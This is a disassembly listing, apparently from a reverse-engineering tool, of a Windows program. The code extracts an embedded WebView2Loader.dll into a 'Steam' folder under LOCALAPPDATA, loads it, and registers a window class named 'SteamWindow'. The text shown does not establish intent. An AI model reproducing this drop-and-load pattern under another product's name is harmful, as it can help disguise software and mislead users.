140001580	48 89 f9	MOV RCX,RDI
140001583	48 89 f2	MOV RDX,RSI
140001586	e8 b5 8c 09 00	CALL memmove
LAB_14000158b:
14000158b	66 c7 04 5f 00 00	MOV word ptr [RDI + RBX*0x2],0x0
140001591	0f b6 9c 24 60 01 00 00	MOVZX EBX,byte ptr [RSP + local_478[0]]
140001599	0f b6 b4 24 61 01 00 00	MOVZX ESI,byte ptr [RSP + local_478[1]]
1400015a1	0f b7 bc 24 62 01 00 00	MOVZX EDI,word ptr [RSP + local_478[2]]
1400015a9	48 8b 84 24 64 01 00 00	MOV RAX,qword ptr [RSP + local_478[4]]
1400015b1	48 89 84 24 80 00 00 00	MOV qword ptr [RSP + local_558[0]],RAX
1400015b9	8b 84 24 6c 01 00 00	MOV EAX,dword ptr [RSP + local_478[12]]
1400015c0	89 84 24 88 00 00 00	MOV dword ptr [RSP + local_558[8]],EAX
1400015c7	4c 8b b4 24 70 01 00 00	MOV R14,qword ptr [RSP + local_468]
1400015cf	f6 05 62 7e 0c 00 01	TEST byte ptr [DAT_1400c9438],0x1
1400015d6	74 0c	JZ LAB_1400015e4
1400015d8	48 8b 0d 69 7e 0c 00	MOV RCX,qword ptr [DAT_1400c9448]
1400015df	e8 fc e2 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400015e4:
1400015e4	88 1d 4e 7e 0c 00	MOV byte ptr [DAT_1400c9438],BL
1400015ea	40 88 35 48 7e 0c 00	MOV byte ptr [DAT_1400c9439],SIL
1400015f1	66 89 3d 42 7e 0c 00	MOV word ptr [DAT_1400c943a],DI
1400015f8	48 8b 84 24 80 00 00 00	MOV RAX,qword ptr [RSP + local_558[0]]
140001600	48 89 05 35 7e 0c 00	MOV qword ptr [DAT_1400c943c],RAX
140001607	8b 84 24 88 00 00 00	MOV EAX,dword ptr [RSP + local_558[8]]
14000160e	89 05 30 7e 0c 00	MOV dword ptr [DAT_1400c9440+4],EAX
140001614	4c 89 35 2d 7e 0c 00	MOV qword ptr [DAT_1400c9448],R14
14000161b	f6 84 24 e0 00 00 00 01	TEST byte ptr [RSP + local_4f8[0]],0x1
140001623	74 0d	JZ LAB_140001632
140001625	48 8b 8c 24 f0 00 00 00	MOV RCX,qword ptr [RSP + local_4e8[0]]
14000162d	e8 ae e2 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140001632:
140001632	ba 2c 01 00 00	MOV EDX,0x12c
140001637	41 b8 0a 00 00 00	MOV R8D,0xa
14000163d	31 c9	XOR ECX,ECX
14000163f	ff 15 e3 11 0b 00	CALL qword ptr [PTR_FindResourceW_1400b2828]
140001645	48 85 c0	TEST RAX,RAX
140001648	74 64	JZ LAB_1400016ae
14000164a	48 89 c6	MOV RSI,RAX
14000164d	31 c9	XOR ECX,ECX
14000164f	48 89 c2	MOV RDX,RAX
140001652	ff 15 88 13 0b 00	CALL qword ptr [PTR_SizeofResource_1400b29e0]
140001658	89 c7	MOV EDI,EAX
14000165a	31 c9	XOR ECX,ECX
14000165c	48 89 f2	MOV RDX,RSI
14000165f	ff 15 b3 12 0b 00	CALL qword ptr [PTR_LoadResource_1400b2918]
140001665	48 89 c1	MOV RCX,RAX
140001668	ff 15 ba 12 0b 00	CALL qword ptr [PTR_LockResource_1400b2928]
14000166e	48 89 84 24 48 01 00 00	MOV qword ptr [RSP + local_490],RAX
140001676	48 85 c0	TEST RAX,RAX
140001679	0f 95 c0	SETNZ AL
14000167c	85 ff	TEST EDI,EDI
14000167e	0f 95 c1	SETNZ CL
140001681	84 c8	TEST AL,CL
140001683	74 29	JZ LAB_1400016ae
140001685	f6 05 ac 7d 0c 00 01	TEST byte ptr [DAT_1400c9438],0x1
14000168c	75 49	JNZ LAB_1400016d7
14000168e	48 8b 05 b3 7d 0c 00	MOV RAX,qword ptr [DAT_1400c9448]
140001695	48 89 84 24 70 01 00 00	MOV qword ptr [RSP + local_468],RAX
14000169d	0f 10 05 94 7d 0c 00	MOVUPS XMM0,xmmword ptr [DAT_1400c9438]
1400016a4	0f 29 84 24 60 01 00 00	MOVAPS xmmword ptr [RSP + local_478[0]],XMM0
1400016ac	eb 44	JMP LAB_1400016f2
LAB_1400016ae:
1400016ae	c6 84 24 a0 00 00 00 00	MOV byte ptr [RSP + local_538[0]],0x0
1400016b6	66 c7 84 24 a2 00 00 00 …	MOV word ptr [RSP + local_538[2]],0x0
1400016c0	31 c0	XOR EAX,EAX
1400016c2	a8 01	TEST AL,0x1
1400016c4	0f 84 95 05 00 00	JZ LAB_140001c5f
LAB_1400016ca:
1400016ca	48 8b 8c 24 a8 00 00 00	MOV RCX,qword ptr [RSP + local_538[8]]
1400016d2	e9 8f 05 00 00	JMP LAB_140001c66
LAB_1400016d7:
1400016d7	48 8b 15 6a 7d 0c 00	MOV RDX,qword ptr [DAT_1400c9448]
1400016de	4c 8b 05 5b 7d 0c 00	MOV R8,qword ptr [DAT_1400c9440]
1400016e5	48 8d 8c 24 60 01 00 00	LEA RCX,[RSP + 0x160]
1400016ed	e8 3e 34 00 00	CALL FUN_140004b30	; FUN_140004b30: memmove
LAB_1400016f2:
1400016f2	0f 57 c0	XORPS XMM0,XMM0
1400016f5	0f 29 84 24 e0 00 00 00	MOVAPS xmmword ptr [RSP + local_4f8[0]],XMM0
1400016fd	48 c7 84 24 f0 00 00 00 …	MOV qword ptr [RSP + local_4e8[0]],0x0
140001709	4c 8d 84 24 78 01 00 00	LEA R8,[RSP + 0x178]
140001711	48 8d 8c 24 e0 00 00 00	LEA RCX,[RSP + 0xe0]
140001719	48 8d 94 24 60 01 00 00	LEA RDX,[RSP + 0x160]
140001721	41 b9 01 00 00 00	MOV R9D,0x1
140001727	e8 94 34 00 00	CALL FUN_140004bc0	; FUN_140004bc0: __acrt_iob_func, RtlUnwindEx
14000172c	f6 84 24 60 01 00 00 01	TEST byte ptr [RSP + local_478[0]],0x1
140001734	74 0d	JZ LAB_140001743
140001736	48 8b 8c 24 70 01 00 00	MOV RCX,qword ptr [RSP + local_468]
14000173e	e8 9d e1 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140001743:
140001743	48 8d 0d b2 a0 09 00	LEA RCX,[u_LOCALAPPDATA_14009b7fc]	; "LOCALAPPDATA"
14000174a	48 8d 94 24 60 01 00 00	LEA RDX,[RSP + 0x160]
140001752	41 b8 04 01 00 00	MOV R8D,0x104
140001758	ff 15 12 11 0b 00	CALL qword ptr [PTR_GetEnvironmentVariableW_1400b2870]
14000175e	85 c0	TEST EAX,EAX
140001760	0f 84 88 02 00 00	JZ LAB_1400019ee
140001766	0f 57 f6	XORPS XMM6,XMM6
140001769	0f 29 b4 24 80 00 00 00	MOVAPS xmmword ptr [RSP + local_558[0]],XMM6
140001771	48 c7 84 24 90 00 00 00 …	MOV qword ptr [RSP + local_548],0x0
14000177d	48 8d b4 24 60 01 00 00	LEA RSI,[RSP + 0x160]
140001785	48 89 f1	MOV RCX,RSI
140001788	e8 03 8b 09 00	CALL wcslen
14000178d	4c 8d 04 44	LEA R8,[RSP + RAX*0x2]
140001791	49 81 c0 60 01 00 00	ADD R8,0x160
140001798	48 8d 8c 24 80 00 00 00	LEA RCX,[RSP + 0x80]
1400017a0	48 89 f2	MOV RDX,RSI
1400017a3	e8 18 36 00 00	CALL FUN_140004dc0	; FUN_140004dc0: memcpy, __acrt_iob_func, RtlUnwindEx, memmove
1400017a8	0f 29 b4 24 c0 00 00 00	MOVAPS xmmword ptr [RSP + local_518[0]],XMM6
1400017b0	48 c7 84 24 d0 00 00 00 …	MOV qword ptr [RSP + local_508],0x0
1400017bc	48 8d 15 af 9a 09 00	LEA RDX,[u_Steam_14009b272]	; "Steam"
1400017c3	4c 8d 05 b2 9a 09 00	LEA R8,[u__14009b272+0xa]
1400017ca	48 8d 8c 24 c0 00 00 00	LEA RCX,[RSP + 0xc0]
1400017d2	e8 e9 35 00 00	CALL FUN_140004dc0	; FUN_140004dc0: memcpy, __acrt_iob_func, RtlUnwindEx, memmove
1400017d7	f6 84 24 80 00 00 00 01	TEST byte ptr [RSP + local_558[0]],0x1
1400017df	75 1c	JNZ LAB_1400017fd
1400017e1	48 8b 84 24 90 00 00 00	MOV RAX,qword ptr [RSP + local_548]
1400017e9	48 89 44 24 70	MOV qword ptr [RSP + local_568],RAX
1400017ee	0f 28 84 24 80 00 00 00	MOVAPS XMM0,xmmword ptr [RSP + local_558[0]]
1400017f6	0f 29 44 24 60	MOVAPS xmmword ptr [RSP + local_578[0]],XMM0
1400017fb	eb 1a	JMP LAB_140001817
LAB_1400017fd:
1400017fd	4c 8b 84 24 88 00 00 00	MOV R8,qword ptr [RSP + local_558[8]]
140001805	48 8b 94 24 90 00 00 00	MOV RDX,qword ptr [RSP + local_548]
14000180d	48 8d 4c 24 60	LEA RCX,[RSP + 0x60]
140001812	e8 19 33 00 00	CALL FUN_140004b30	; FUN_140004b30: memmove
LAB_140001817:
140001817	48 8d 4c 24 60	LEA RCX,[RSP + 0x60]
14000181c	48 8d 94 24 c0 00 00 00	LEA RDX,[RSP + 0xc0]
140001824	e8 27 38 00 00	CALL FUN_140005050	; FUN_140005050: __acrt_iob_func, RtlUnwindEx, memmove
140001829	48 8b 9c 24 e8 00 00 00	MOV RBX,qword ptr [RSP + local_4f8[8]]
140001831	48 8b 84 24 f0 00 00 00	MOV RAX,qword ptr [RSP + local_4e8[0]]
140001839	48 39 c3	CMP RBX,RAX
14000183c	73 2b	JNC LAB_140001869
14000183e	48 8b 44 24 70	MOV RAX,qword ptr [RSP + local_568]
140001843	48 89 43 10	MOV qword ptr [RBX + 0x10],RAX
140001847	0f 28 44 24 60	MOVAPS XMM0,xmmword ptr [RSP + local_578[0]]
14000184c	0f 11 03	MOVUPS xmmword ptr [RBX],XMM0
14000184f	0f 57 c0	XORPS XMM0,XMM0
140001852	0f 29 44 24 60	MOVAPS xmmword ptr [RSP + local_578[0]],XMM0
140001857	48 c7 44 24 70 00 00 00 …	MOV qword ptr [RSP + local_568],0x0
140001860	48 83 c3 18	ADD RBX,0x18
140001864	e9 4d 01 00 00	JMP LAB_1400019b6
LAB_140001869:
140001869	48 b9 aa aa aa aa aa aa …	MOV RCX,0xaaaaaaaaaaaaaaa
140001873	48 8b 94 24 e0 00 00 00	MOV RDX,qword ptr [RSP + local_4f8[0]]
14000187b	48 29 d3	SUB RBX,RDX
14000187e	48 89 de	MOV RSI,RBX
140001881	48 c1 fe 03	SAR RSI,0x3
140001885	49 b8 ab aa aa aa aa aa …	MOV R8,-0x5555555555555555
14000188f	49 0f af f0	IMUL RSI,R8
140001893	48 ff c6	INC RSI
140001896	48 39 ce	CMP RSI,RCX
140001899	0f 87 dc 09 00 00	JA LAB_14000227b
14000189f	48 29 d0	SUB RAX,RDX
1400018a2	48 c1 f8 03	SAR RAX,0x3
1400018a6	49 0f af c0	IMUL RAX,R8
1400018aa	48 8d 14 00	LEA RDX,[RAX + RAX*0x1]
1400018ae	48 39 f2	CMP RDX,RSI
1400018b1	48 0f 47 f2	CMOVA RSI,RDX
1400018b5	48 ba 55 55 55 55 55 55 …	MOV RDX,0x555555555555555
1400018bf	48 39 d0	CMP RAX,RDX
1400018c2	48 0f 43 f1	CMOVNC RSI,RCX
1400018c6	48 39 ce	CMP RSI,RCX
1400018c9	0f 87 b1 09 00 00	JA LAB_140002280
1400018cf	48 8d 04 f5 00 00 00 00	LEA RAX,[RSI*0x8]
1400018d7	48 8d 0c 40	LEA RCX,[RAX + RAX*0x2]
1400018db	e8 20 df 01 00	CALL FUN_14001f800	; FUN_14001f800: malloc
1400018e0	48 8d 0c 18	LEA RCX,[RAX + RBX*0x1]
1400018e4	48 8d 14 76	LEA RDX,[RSI + RSI*0x2]
1400018e8	4c 8d 34 d0	LEA R14,[RAX + RDX*0x8]
1400018ec	48 8b 54 24 70	MOV RDX,qword ptr [RSP + local_568]
1400018f1	48 89 54 18 10	MOV qword ptr [RAX + RBX*0x1 + 0x10],RDX
1400018f6	0f 28 44 24 60	MOVAPS XMM0,xmmword ptr [RSP + local_578[0]]
1400018fb	0f 11 04 18	MOVUPS xmmword ptr [RAX + RBX*0x1],XMM0
1400018ff	0f 57 c0	XORPS XMM0,XMM0
140001902	0f 29 44 24 60	MOVAPS xmmword ptr [RSP + local_578[0]],XMM0
140001907	48 c7 44 24 70 00 00 00 …	MOV qword ptr [RSP + local_568],0x0
140001910	48 8d 5c 18 18	LEA RBX,[RAX + RBX*0x1 + 0x18]
140001915	48 8b b4 24 e0 00 00 00	MOV RSI,qword ptr [RSP + local_4f8[0]]
14000191d	4c 8b a4 24 e8 00 00 00	MOV R12,qword ptr [RSP + local_4f8[8]]
140001925	48 89 f0	MOV RAX,RSI
140001928	4c 29 e0	SUB RAX,R12
14000192b	4c 8d 3c 08	LEA R15,[RAX + RCX*0x1]
14000192f	74 60	JZ LAB_140001991
140001931	48 89 f0	MOV RAX,RSI
140001934	4c 89 f9	MOV RCX,R15
140001937	66 0f 1f 84 00 00 00 00 …	NOP word ptr [RAX + RAX*0x1]
LAB_140001940:
140001940	48 8b 50 10	MOV RDX,qword ptr [RAX + 0x10]
140001944	48 89 51 10	MOV qword ptr [RCX + 0x10],RDX
140001948	0f 10 08	MOVUPS XMM1,xmmword ptr [RAX]
14000194b	0f 11 09	MOVUPS xmmword ptr [RCX],XMM1
14000194e	0f 11 00	MOVUPS xmmword ptr [RAX],XMM0
140001951	48 c7 40 10 00 00 00 00	MOV qword ptr [RAX + 0x10],0x0
140001959	48 83 c0 18	ADD RAX,0x18
14000195d	48 83 c1 18	ADD RCX,0x18
140001961	4c 39 e0	CMP RAX,R12
140001964	75 da	JNZ LAB_140001940
140001966	eb 11	JMP LAB_140001979
LAB_140001970:
140001970	48 83 c6 18	ADD RSI,0x18
140001974	4c 39 e6	CMP RSI,R12
140001977	74 10	JZ LAB_140001989
LAB_140001979:
140001979	f6 06 01	TEST byte ptr [RSI],0x1
14000197c	74 f2	JZ LAB_140001970
14000197e	48 8b 4e 10	MOV RCX,qword ptr [RSI + 0x10]
140001982	e8 59 df 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140001987	eb e7	JMP LAB_140001970
LAB_140001989:
140001989	48 8b b4 24 e0 00 00 00	MOV RSI,qword ptr [RSP + local_4f8[0]]
LAB_140001991:
140001991	4c 89 bc 24 e0 00 00 00	MOV qword ptr [RSP + local_4f8[0]],R15
140001999	48 89 9c 24 e8 00 00 00	MOV qword ptr [RSP + local_4f8[8]],RBX
1400019a1	4c 89 b4 24 f0 00 00 00	MOV qword ptr [RSP + local_4e8[0]],R14
1400019a9	48 85 f6	TEST RSI,RSI
1400019ac	74 08	JZ LAB_1400019b6
1400019ae	48 89 f1	MOV RCX,RSI
1400019b1	e8 2a df 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400019b6:
1400019b6	48 89 9c 24 e8 00 00 00	MOV qword ptr [RSP + local_4f8[8]],RBX
1400019be	f6 44 24 60 01	TEST byte ptr [RSP + local_578[0]],0x1
1400019c3	0f 85 5d 08 00 00	JNZ LAB_140002226
1400019c9	f6 84 24 c0 00 00 00 01	TEST byte ptr [RSP + local_518[0]],0x1
1400019d1	0f 85 67 08 00 00	JNZ LAB_14000223e
LAB_1400019d7:
1400019d7	f6 84 24 80 00 00 00 01	TEST byte ptr [RSP + local_558[0]],0x1
1400019df	74 0d	JZ LAB_1400019ee
LAB_1400019e1:
1400019e1	48 8b 8c 24 90 00 00 00	MOV RCX,qword ptr [RSP + local_548]
1400019e9	e8 f2 de 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400019ee:
1400019ee	4c 89 ac 24 40 01 00 00	MOV qword ptr [RSP + local_498],R13
1400019f6	4c 8b b4 24 e0 00 00 00	MOV R14,qword ptr [RSP + local_4f8[0]]
1400019fe	4c 8b ac 24 e8 00 00 00	MOV R13,qword ptr [RSP + local_4f8[8]]
140001a06	4d 39 ee	CMP R14,R13
140001a09	0f 84 d7 01 00 00	JZ LAB_140001be6
140001a0f	e8 dc 46 01 00	CALL FUN_1400160f0	; FUN_1400160f0: SleepConditionVariableSRW, __acrt_iob_func, RtlUnwindEx, WakeAllConditionVariable
140001a14	49 89 c7	MOV R15,RAX
140001a17	0f 57 f6	XORPS XMM6,XMM6
140001a1a	48 8d b4 24 80 00 00 00	LEA RSI,[RSP + 0x80]
140001a22	48 8d 5c 24 60	LEA RBX,[RSP + 0x60]
140001a27	48 8b 2d aa 0d 0b 00	MOV RBP,qword ptr [PTR_CreateFileW_1400b27d8]
140001a2e	eb 0d	JMP LAB_140001a3d
LAB_140001a30:
140001a30	49 83 c6 18	ADD R14,0x18
140001a34	4d 39 ee	CMP R14,R13
140001a37	0f 84 a9 01 00 00	JZ LAB_140001be6
LAB_140001a3d:
140001a3d	c7 84 24 c0 00 00 00 00 …	MOV dword ptr [RSP + local_518[0]],0x0
140001a48	4c 89 bc 24 c8 00 00 00	MOV qword ptr [RSP + local_518[8]],R15
140001a50	4c 89 f1	MOV RCX,R14
140001a53	48 8d 94 24 c0 00 00 00	LEA RDX,[RSP + 0xc0]
140001a5b	e8 a0 73 01 00	CALL FUN_140018e00	; FUN_140018e00: CreateFileW, CloseHandle, GetLastError, CreateDirectoryW +3
140001a60	0f 29 b4 24 80 00 00 00	MOVAPS xmmword ptr [RSP + local_558[0]],XMM6
140001a68	48 c7 84 24 90 00 00 00 …	MOV qword ptr [RSP + local_548],0x0
140001a74	48 89 f1	MOV RCX,RSI
140001a77	48 8d 15 98 9d 09 00	LEA RDX,[u_WebView2Loader.dll_14009b816]	; "WebView2Loader.dll"
140001a7e	4c 8d 05 b5 9d 09 00	LEA R8,[u__14009b816+0x24]
140001a85	e8 36 33 00 00	CALL FUN_140004dc0	; FUN_140004dc0: memcpy, __acrt_iob_func, RtlUnwindEx, memmove
140001a8a	41 f6 06 01	TEST byte ptr [R14],0x1
140001a8e	75 20	JNZ LAB_140001ab0
140001a90	49 8b 46 10	MOV RAX,qword ptr [R14 + 0x10]
140001a94	48 89 44 24 70	MOV qword ptr [RSP + local_568],RAX
140001a99	41 0f 10 06	MOVUPS XMM0,xmmword ptr [R14]
140001a9d	0f 29 44 24 60	MOVAPS xmmword ptr [RSP + local_578[0]],XMM0
140001aa2	eb 1c	JMP LAB_140001ac0
LAB_140001ab0:
140001ab0	4d 8b 46 08	MOV R8,qword ptr [R14 + 0x8]
140001ab4	49 8b 56 10	MOV RDX,qword ptr [R14 + 0x10]
140001ab8	48 89 d9	MOV RCX,RBX
140001abb	e8 70 30 00 00	CALL FUN_140004b30	; FUN_140004b30: memmove
LAB_140001ac0:
140001ac0	48 89 d9	MOV RCX,RBX
140001ac3	48 89 f2	MOV RDX,RSI
140001ac6	e8 85 35 00 00	CALL FUN_140005050	; FUN_140005050: __acrt_iob_func, RtlUnwindEx, memmove
140001acb	f6 84 24 80 00 00 00 01	TEST byte ptr [RSP + local_558[0]],0x1
140001ad3	74 0d	JZ LAB_140001ae2
140001ad5	48 8b 8c 24 90 00 00 00	MOV RCX,qword ptr [RSP + local_548]
140001add	e8 fe dd 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140001ae2:
140001ae2	f6 44 24 60 01	TEST byte ptr [RSP + local_578[0]],0x1
140001ae7	48 8d 4c 24 62	LEA RCX,[RSP + 0x62]
140001aec	74 05	JZ LAB_140001af3
140001aee	48 8b 4c 24 70	MOV RCX,qword ptr [RSP + local_568]
LAB_140001af3:
140001af3	48 c7 44 24 30 00 00 00 …	MOV qword ptr [RSP + local_5a8],0x0
140001afc	c7 44 24 28 80 00 00 00	MOV dword ptr [RSP + local_5b0],0x80
140001b04	c7 44 24 20 02 00 00 00	MOV dword ptr [RSP + local_5b8],0x2
140001b0c	ba 00 00 00 40	MOV EDX,0x40000000
140001b11	45 31 c0	XOR R8D,R8D
140001b14	45 31 c9	XOR R9D,R9D
140001b17	ff d5	CALL RBP
140001b19	49 89 c4	MOV R12,RAX
140001b1c	48 83 f8 ff	CMP RAX,-0x1
140001b20	74 6e	JZ LAB_140001b90
140001b22	c7 84 24 80 00 00 00 00 …	MOV dword ptr [RSP + local_558[0]],0x0
140001b2d	48 c7 44 24 20 00 00 00 …	MOV qword ptr [RSP + local_5b8],0x0
140001b36	4c 89 e1	MOV RCX,R12
140001b39	48 8b 94 24 48 01 00 00	MOV RDX,qword ptr [RSP + local_490]
140001b41	41 89 f8	MOV R8D,EDI
140001b44	49 89 f1	MOV R9,RSI
140001b47	ff 15 fb 0e 0b 00	CALL qword ptr [PTR_WriteFile_1400b2a48]
140001b4d	4c 89 e1	MOV RCX,R12
140001b50	ff 15 72 0c 0b 00	CALL qword ptr [PTR_CloseHandle_1400b27c8]
140001b56	45 31 e4	XOR R12D,R12D
140001b59	39 bc 24 80 00 00 00	CMP dword ptr [RSP + local_558[0]],EDI
140001b60	75 5e	JNZ LAB_140001bc0
140001b62	f6 44 24 60 01	TEST byte ptr [RSP + local_578[0]],0x1
140001b67	75 2f	JNZ LAB_140001b98
140001b69	48 8b 44 24 70	MOV RAX,qword ptr [RSP + local_568]
140001b6e	48 89 84 24 b0 00 00 00	MOV qword ptr [RSP + local_528],RAX
140001b76	0f 28 44 24 60	MOVAPS XMM0,xmmword ptr [RSP + local_578[0]]
140001b7b	0f 29 84 24 a0 00 00 00	MOVAPS xmmword ptr [RSP + local_538[0]],XMM0
140001b83	41 bc 01 00 00 00	MOV R12D,0x1
140001b89	eb 35	JMP LAB_140001bc0
LAB_140001b90:
140001b90	41 bc 03 00 00 00	MOV R12D,0x3
140001b96	eb 28	JMP LAB_140001bc0
LAB_140001b98:
140001b98	4c 8b 44 24 68	MOV R8,qword ptr [RSP + local_578[8]]
140001b9d	48 8b 54 24 70	MOV RDX,qword ptr [RSP + local_568]
140001ba2	41 bc 01 00 00 00	MOV R12D,0x1
140001ba8	48 8d 8c 24 a0 00 00 00	LEA RCX,[RSP + 0xa0]
140001bb0	e8 7b 2f 00 00	CALL FUN_140004b30	; FUN_140004b30: memmove
140001bb5	66 66 2e 0f 1f 84 00 00 …	NOP dword ptr CS:[RAX + RAX*0x1]
LAB_140001bc0:
140001bc0	f6 44 24 60 01	TEST byte ptr [RSP + local_578[0]],0x1
140001bc5	74 0a	JZ LAB_140001bd1
140001bc7	48 8b 4c 24 70	MOV RCX,qword ptr [RSP + local_568]
140001bcc	e8 0f dd 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140001bd1:
140001bd1	41 83 fc 03	CMP R12D,0x3
140001bd5	0f 84 55 fe ff ff	JZ LAB_140001a30
140001bdb	45 85 e4	TEST R12D,R12D
140001bde	0f 84 4c fe ff ff	JZ LAB_140001a30
140001be4	eb 12	JMP LAB_140001bf8
LAB_140001be6:
140001be6	c6 84 24 a0 00 00 00 00	MOV byte ptr [RSP + local_538[0]],0x0
140001bee	66 c7 84 24 a2 00 00 00 …	MOV word ptr [RSP + local_538[2]],0x0
LAB_140001bf8:
140001bf8	48 8b b4 24 e0 00 00 00	MOV RSI,qword ptr [RSP + local_4f8[0]]
140001c00	48 85 f6	TEST RSI,RSI
140001c03	4c 8b ac 24 40 01 00 00	MOV R13,qword ptr [RSP + local_498]
140001c0b	74 42	JZ LAB_140001c4f
140001c0d	48 8b bc 24 e8 00 00 00	MOV RDI,qword ptr [RSP + local_4f8[8]]
140001c15	48 89 f1	MOV RCX,RSI
140001c18	48 39 fe	CMP RSI,RDI
140001c1b	75 0c	JNZ LAB_140001c29
140001c1d	eb 23	JMP LAB_140001c42
LAB_140001c20:
140001c20	48 83 c7 e8	ADD RDI,-0x18
140001c24	48 39 f7	CMP RDI,RSI
140001c27	74 11	JZ LAB_140001c3a
LAB_140001c29:
140001c29	f6 47 e8 01	TEST byte ptr [RDI + -0x18],0x1
140001c2d	74 f1	JZ LAB_140001c20
140001c2f	48 8b 4f f8	MOV RCX,qword ptr [RDI + -0x8]
140001c33	e8 a8 dc 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140001c38	eb e6	JMP LAB_140001c20
LAB_140001c3a:
140001c3a	48 8b 8c 24 e0 00 00 00	MOV RCX,qword ptr [RSP + local_4f8[0]]
LAB_140001c42:
140001c42	48 89 b4 24 e8 00 00 00	MOV qword ptr [RSP + local_4f8[8]],RSI
140001c4a	e8 91 dc 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140001c4f:
140001c4f	0f b6 84 24 a0 00 00 00	MOVZX EAX,byte ptr [RSP + local_538[0]]
140001c57	a8 01	TEST AL,0x1
140001c59	0f 85 6b fa ff ff	JNZ LAB_1400016ca
LAB_140001c5f:
140001c5f	89 c1	MOV ECX,EAX
140001c61	d0 e9	SHR CL,0x1
140001c63	0f b6 c9	MOVZX ECX,CL
LAB_140001c66:
140001c66	be 01 00 00 00	MOV ESI,0x1
140001c6b	48 85 c9	TEST RCX,RCX
140001c6e	0f 84 7d 05 00 00	JZ LAB_1400021f1
140001c74	a8 01	TEST AL,0x1
140001c76	74 0a	JZ LAB_140001c82
140001c78	48 8b 8c 24 b0 00 00 00	MOV RCX,qword ptr [RSP + local_528]
140001c80	eb 08	JMP LAB_140001c8a
LAB_140001c82:
140001c82	48 8d 8c 24 a2 00 00 00	LEA RCX,[RSP + 0xa2]
LAB_140001c8a:
140001c8a	ff 15 80 0c 0b 00	CALL qword ptr [PTR_LoadLibraryW_1400b2910]
140001c90	48 85 c0	TEST RAX,RAX
140001c93	0f 84 58 05 00 00	JZ LAB_1400021f1
140001c99	48 8d 15 90 95 09 00	LEA RDX,[s_CreateCoreWebView2EnvironmentWit_14009b230]	; "CreateCoreWebView2EnvironmentWithOptions"
140001ca0	48 89 c1	MOV RCX,RAX
140001ca3	ff 15 17 0c 0b 00	CALL qword ptr [PTR_GetProcAddress_1400b28c0]
140001ca9	48 89 c7	MOV RDI,RAX
140001cac	48 85 c0	TEST RAX,RAX
140001caf	0f 84 3c 05 00 00	JZ LAB_1400021f1
140001cb5	0f 57 c0	XORPS XMM0,XMM0
140001cb8	0f 11 84 24 f0 00 00 00	MOVUPS xmmword ptr [RSP + local_4e8[0]],XMM0
140001cc0	0f 11 84 24 20 01 00 00	MOVUPS xmmword ptr [RSP + local_4b8[0]],XMM0
140001cc8	0f 11 84 24 10 01 00 00	MOVUPS xmmword ptr [RSP + local_4c8[0]],XMM0
140001cd0	0f 11 84 24 00 01 00 00	MOVUPS xmmword ptr [RSP + local_4d8[0]],XMM0
140001cd8	48 b8 50 00 00 00 03 00 …	MOV RAX,0x300000050
140001ce2	48 89 84 24 e0 00 00 00	MOV qword ptr [RSP + local_4f8[0]],RAX
140001cea	48 8d 05 8f 07 00 00	LEA RAX,[WndProc]	; → WndProc (B2, B10, E10)
140001cf1	48 89 84 24 e8 00 00 00	MOV qword ptr [RSP + local_4f8[8]],RAX
140001cf9	4c 89 ac 24 f8 00 00 00	MOV qword ptr [RSP + local_4e8[8]],R13
140001d01	ba 00 7f 00 00	MOV EDX,0x7f00
140001d06	31 c9	XOR ECX,ECX
140001d08	ff 15 52 06 0b 00	CALL qword ptr [PTR_LoadCursorW_1400b2360]
140001d0e	48 89 84 24 08 01 00 00	MOV qword ptr [RSP + local_4d8[8]],RAX
140001d16	b9 04 00 00 00	MOV ECX,0x4
140001d1b	ff 15 bf 06 0b 00	CALL qword ptr [PTR_GetStockObject_1400b23e0]
140001d21	48 89 84 24 10 01 00 00	MOV qword ptr [RSP + local_4c8[0]],RAX
140001d29	ba 01 00 00 00	MOV EDX,0x1
140001d2e	4c 89 e9	MOV RCX,R13
140001d31	ff 15 31 06 0b 00	CALL qword ptr [PTR_LoadIconW_1400b2368]
140001d37	48 89 84 24 00 01 00 00	MOV qword ptr [RSP + local_4d8[0]],RAX
140001d3f	ba 01 00 00 00	MOV EDX,0x1
140001d44	4c 89 e9	MOV RCX,R13
140001d47	ff 15 1b 06 0b 00	CALL qword ptr [PTR_LoadIconW_1400b2368]
140001d4d	48 89 84 24 28 01 00 00	MOV qword ptr [RSP + local_4b8[8]],RAX
140001d55	48 8d 05 fe 94 09 00	LEA RAX,[u_SteamWindow_14009b25a]	; "SteamWindow"
140001d5c	48 89 84 24 20 01 00 00	MOV qword ptr [RSP + local_4b8[0]],RAX	; "SteamWindow"
140001d64	48 8d 8c 24 e0 00 00 00	LEA RCX,[RSP + 0xe0]
140001d6c	ff 15 0e 06 0b 00	CALL qword ptr [PTR_RegisterClassExW_1400b2380]
140001d72	31 c9	XOR ECX,ECX
140001d74	ff 15 ce 05 0b 00	CALL qword ptr [PTR_GetSystemMetrics_1400b2348]
140001d7a	89 c6	MOV ESI,EAX
140001d7c	8b 1d 7e 72 0c 00	MOV EBX,dword ptr [DAT_1400c9000]
140001d82	b9 01 00 00 00	MOV ECX,0x1
140001d87	ff 15 bb 05 0b 00	CALL qword ptr [PTR_GetSystemMetrics_1400b2348]
140001d8d	29 de	SUB ESI,EBX
140001d8f	89 f1	MOV ECX,ESI
140001d91	c1 e9 1f	SHR ECX,0x1f
140001d94	01 f1	ADD ECX,ESI
140001d96	d1 f9	SAR ECX,0x1
140001d98	44 8b 05 65 72 0c 00	MOV R8D,dword ptr [DAT_1400c9004]
140001d9f	44 29 c0	SUB EAX,R8D
140001da2	41 89 c1	MOV R9D,EAX
140001da5	41 c1 e9 1f	SHR R9D,0x1f
140001da9	41 01 c1	ADD R9D,EAX
140001dac	41 d1 f9	SAR R9D,0x1
140001daf	48 8b 94 24 20 01 00 00	MOV RDX,qword ptr [RSP + local_4b8[0]]	; "SteamWindow"
140001db7	8b 05 43 72 0c 00	MOV EAX,dword ptr [DAT_1400c9000]
